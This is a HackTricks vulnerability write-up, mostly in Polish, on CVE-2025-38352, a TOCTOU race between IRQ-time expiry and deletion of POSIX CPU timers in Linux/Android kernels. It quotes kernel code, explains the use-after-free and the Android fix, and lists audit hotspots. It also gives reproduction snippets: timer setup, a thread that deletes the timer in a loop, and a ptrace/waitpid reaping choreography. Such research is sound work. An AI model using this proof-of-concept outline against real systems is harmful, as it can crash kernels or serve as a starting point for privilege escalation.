POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Sprawdź plany subskrypcyjne!

Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

Ta strona opisuje warunek wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię jądra, a w pewnych okolicznościach może być wykorzystany do privilege escalation.

Affected component: kernel/time/posix-cpu-timers.c
Primitive: expiry vs deletion race under task exit
Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Quick internals recap (relevant for exploitation)

Three CPU clocks drive accounting for timers via cpu_clock_sample():
CPUCLOCK_PROF: utime + stime
CPUCLOCK_VIRT: utime only
CPUCLOCK_SCHED: task_sched_runtime()
Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

Uzbrajanie wstawia wpisy do kolejki timerów przypisanej do bazy i może zaktualizować pamięć podręczną następnego wygaśnięcia:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

Szybka ścieżka unika kosztownego przetwarzania, chyba że zbuforowane czasy wygaśnięcia wskazują na możliwe wyzwolenie:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

Wygaśnięcie zbiera wygasłe timery, oznacza je jako uruchomione, przenosi je z kolejki; rzeczywista dostawa jest odroczona:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Dwa tryby przetwarzania wygaszeń

CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: obsługa wygaszenia jest odraczana za pomocą task_work w docelowym zadaniu
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: obsługa wygaszenia wykonywana bezpośrednio w kontekście IRQ

Task_work vs IRQ — ścieżki obsługi wygaszeń

```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```

W ścieżce kontekstu IRQ lista wyzwalanych sygnałów jest przetwarzana poza sighand

Pętla dostarczania w kontekście IRQ

```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```

Przyczyna: TOCTOU pomiędzy wygaśnięciem w czasie IRQ a równoległym usunięciem podczas zakończenia zadania Preconditions

CONFIG_POSIX_CPU_TIMERS_TASK_WORK jest wyłączony (ścieżka IRQ w użyciu)
Docelowe zadanie kończy się, ale nie zostało jeszcze w pełni zreapowane (reaped)
Inny wątek jednocześnie wywołuje posix_cpu_timer_del() dla tego samego timera

Sequence

update_process_times() wywołuje run_posix_cpu_timers() w kontekście IRQ dla zadania kończącego się.
collect_timerqueue() ustawia ctmr->firing = 1 i przenosi timer do tymczasowej listy “firing”.
handle_posix_cpu_timers() zwalnia sighand za pomocą unlock_task_sighand(), aby dostarczyć timery poza blokadą.
Bezpośrednio po unlock, zadanie kończące się może zostać zreapowane; równoległy wątek wykonuje posix_cpu_timer_del().
W tym oknie posix_cpu_timer_del() może nie uzyskać stanu przez cpu_timer_task_rcu()/lock_task_sighand() i w rezultacie pominąć normalną in-flight guard, która sprawdza timer->it.cpu.firing. Usunięcie przebiega, jakby timer nie był w stanie firing, korumpując stan podczas obsługi wygaśnięcia, co prowadzi do crashy/UB.

Jak release_task() i timer_delete() zwalniają timery w stanie firing

Nawet po tym, jak handle_posix_cpu_timers() usunął timer z listy zadania, ptraced zombie nadal może zostać zreapowane. Stos waitpid() prowadzi do release_task() → __exit_signal(), które usuwa sighand i kolejki sygnałów, podczas gdy inny CPU nadal trzyma wskaźniki do obiektu timera:

static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL;             // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}

Gdy sighand jest odłączony, timer_delete() nadal zwraca sukces, ponieważ posix_cpu_timer_del() pozostawia ret = 0, gdy blokowanie się nie powiedzie, więc syscall przechodzi do zwolnienia obiektu przez RCU:

static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out;                   // ret stays 0 -> userland sees success
// ... normal unlink path ...
}

SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
return 0;
}

Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.

Steering reaping with ptrace + waitpid

Najprostszym sposobem na utrzymanie procesu zombie bez automatycznego reapa jest użycie ptrace na wątku roboczym niebędącym liderem grupy wątków. exit_notify() najpierw ustawia exit_state = EXIT_ZOMBIE i przechodzi do EXIT_DEAD tylko jeśli autoreap ma wartość true. Dla wątków objętych ptrace, autoreap = do_notify_parent() pozostaje false dopóki SIGCHLD nie jest ignorowane, więc release_task() uruchamia się tylko wtedy, gdy rodzic wyraźnie wywoła waitpid():

Użyj pthread_create() wewnątrz tracee, aby ofiara nie była liderem grupy wątków (wait_task_zombie() obsługuje ptraced non-leaders).
Rodzic wywołuje ptrace(PTRACE_ATTACH, tid) a następnie waitpid(tid, __WALL), co prowadzi do do_wait_pid() → wait_task_zombie() → release_task().
Pipes lub pamięć współdzielona przekazują rodzicowi dokładne TID, tak by właściwy worker był reapowany na żądanie.

Ta choreografia gwarantuje okno, w którym handle_posix_cpu_timers() nadal może odwoływać się do tsk->sighand, podczas gdy późniejsze waitpid() zniszczy to i pozwoli timer_delete() odzyskać ten sam obiekt k_itimer.

Why TASK_WORK mode is safe by design

With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.

Poprawka (Android common kernel) i uzasadnienie

Dodaj wczesny return jeśli current task się kończy, blokując całe przetwarzanie:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

To zapobiega wejściu do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okienko, w którym posix_cpu_timer_del() mógłby pominąć it.cpu.firing i rywalizować z przetwarzaniem wygasania.

Wpływ

Uszkodzenie pamięci jądra struktur timerów podczas równoczesnego wygaszania/usuwania może doprowadzić do natychmiastowych awarii (DoS) i stanowi silny prymityw prowadzący do eskalacji uprawnień z powodu możliwości dowolnej manipulacji stanem jądra.

Wywołanie błędu (bezpieczne, powtarzalne warunki) Kompilacja/konfiguracja

Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj kernela bez poprawki exit_state gating fix. Na x86/arm64 opcja jest zwykle wymuszana przez HAVE_POSIX_CPU_TIMERS_TASK_WORK, więc badacze często patchują kernel/time/Kconfig, aby odsłonić ręczny przełącznik:

config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y

To odzwierciedla to, co zrobili dostawcy Androida dla buildów analitycznych; upstream x86_64 i arm64 wymuszają HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, więc podatna ścieżka IRQ występuje głównie w 32-bitowych jądrach Androida, gdzie opcja jest wyłączona podczas kompilacji.

Uruchom na wielordzeniowej maszynie wirtualnej (np. QEMU -smp cores=4), aby wątek rodzica, główny wątek procesu potomnego i wątki robocze mogły pozostać przypięte do dedykowanych CPU.

Runtime strategy

Skieruj się na wątek, który zaraz się zakończy, i podłącz do niego CPU timer (per-thread lub process-wide clock):
Dla per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
Dla process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
Ustaw bardzo krótki czas do pierwszego wygaśnięcia i mały interwał, aby zmaksymalizować wejścia w ścieżkę IRQ:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

Z równoległego wątku jednocześnie usuń ten sam timer, podczas gdy docelowy wątek kończy działanie:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

Czynniki nasilające warunek wyścigu: wysoka częstotliwość ticków planisty, obciążenie CPU, powtarzane cykle zamykania/ponownego tworzenia wątku. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie wywołania z powodu nieudanego wyszukiwania/blokowania tasku tuż po unlock_task_sighand().

Practical PoC orchestration

Thread & IPC choreography

Wiarygodny reproduktor robi fork na rodzica używającego ptracing i dziecko, które uruchamia podatny worker thread. Dwie pipe (c2p, p2c) przekazują worker TID i sterują każdą fazą, podczas gdy pthread_barrier_t zapobiega uzbrojeniu timera przez worker, dopóki parent się nie attachuje. Każdy proces lub wątek jest przypięty za pomocą sched_setaffinity() (np. parent na CPU1, child main na CPU0, worker na CPU2), aby zminimalizować szumy planisty i utrzymać powtarzalność wyścigu.

Timer calibration with CLOCK_THREAD_CPUTIME_ID

Worker ustawia per-thread CPU timer tak, żeby tylko jego własne zużycie CPU przesuwało deadline. Regulowany wait_time (domyślnie ≈250 µs czasu CPU) wraz z ograniczoną pętlą zajętości zapewniają, że exit_notify() ustawia EXIT_ZOMBIE, podczas gdy timer jest tuż przed wystrzałem:

Minimalny szkielet timera CPU przypisanego do wątku

```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) { puts(“timer fired”); }

static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };

pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);

for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }

</details>

#### Oś czasu warunku wyścigu
1. Proces potomny przekazuje procesowi macierzystemu TID workera przez `c2p`, a następnie blokuje się na barierze.
2. Proces macierzysty wykonuje `PTRACE_ATTACH`, czeka w `waitpid(__WALL)`, a następnie `PTRACE_CONT`, aby pozwolić workerowi działać i się zakończyć.
3. Gdy heurystyki (lub ręczna interwencja operatora) sugerują, że timer został zebrany do listy `firing` po stronie IRQ, proces macierzysty ponownie wywołuje `waitpid(tid, __WALL)`, aby wywołać release_task() i zwolnić `tsk->sighand`.
4. Proces macierzysty sygnalizuje procesowi potomnemu przez `p2c`, aby główny wątek potomka mógł wywołać `timer_delete(timer)` i natychmiast uruchomić pomocnika, np. `wait_for_rcu()`, aż RCU callback timera się zakończy.
5. Kontekst IRQ ostatecznie wznawia `handle_posix_cpu_timers()` i dereferencuje zwolniony `struct k_itimer`, co wywołuje KASAN lub WARN_ON().

#### Opcjonalne instrumentowanie jądra
W konfiguracjach badawczych wstrzyknięcie debug-only `mdelay(500)` w `handle_posix_cpu_timers()` gdy `tsk->comm == "SLOWME"` poszerza okno, dzięki czemu powyższa choreografia niemal zawsze wygrywa warunek wyścigu. Ten sam PoC także zmienia nazwy wątków (`prctl(PR_SET_NAME, ...)`), więc logi jądra i breakpointy potwierdzają, że oczekiwany worker jest zbierany.

### Wskazówki instrumentacyjne podczas eksploatacji
- Dodaj tracepointy/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(), aby wykryć przypadki, w których `it.cpu.firing==1` pokrywa się z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); monitoruj spójność timerqueue, gdy ofiara się kończy.
- KASAN zazwyczaj raportuje `slab-use-after-free` wewnątrz posix_timer_queue_signal(), podczas gdy jądra bez KASAN logują WARN_ON_ONCE() z send_sigqueue(), gdy warunek wyścigu wystąpi, dając szybki wskaźnik powodzenia.

Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)

> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>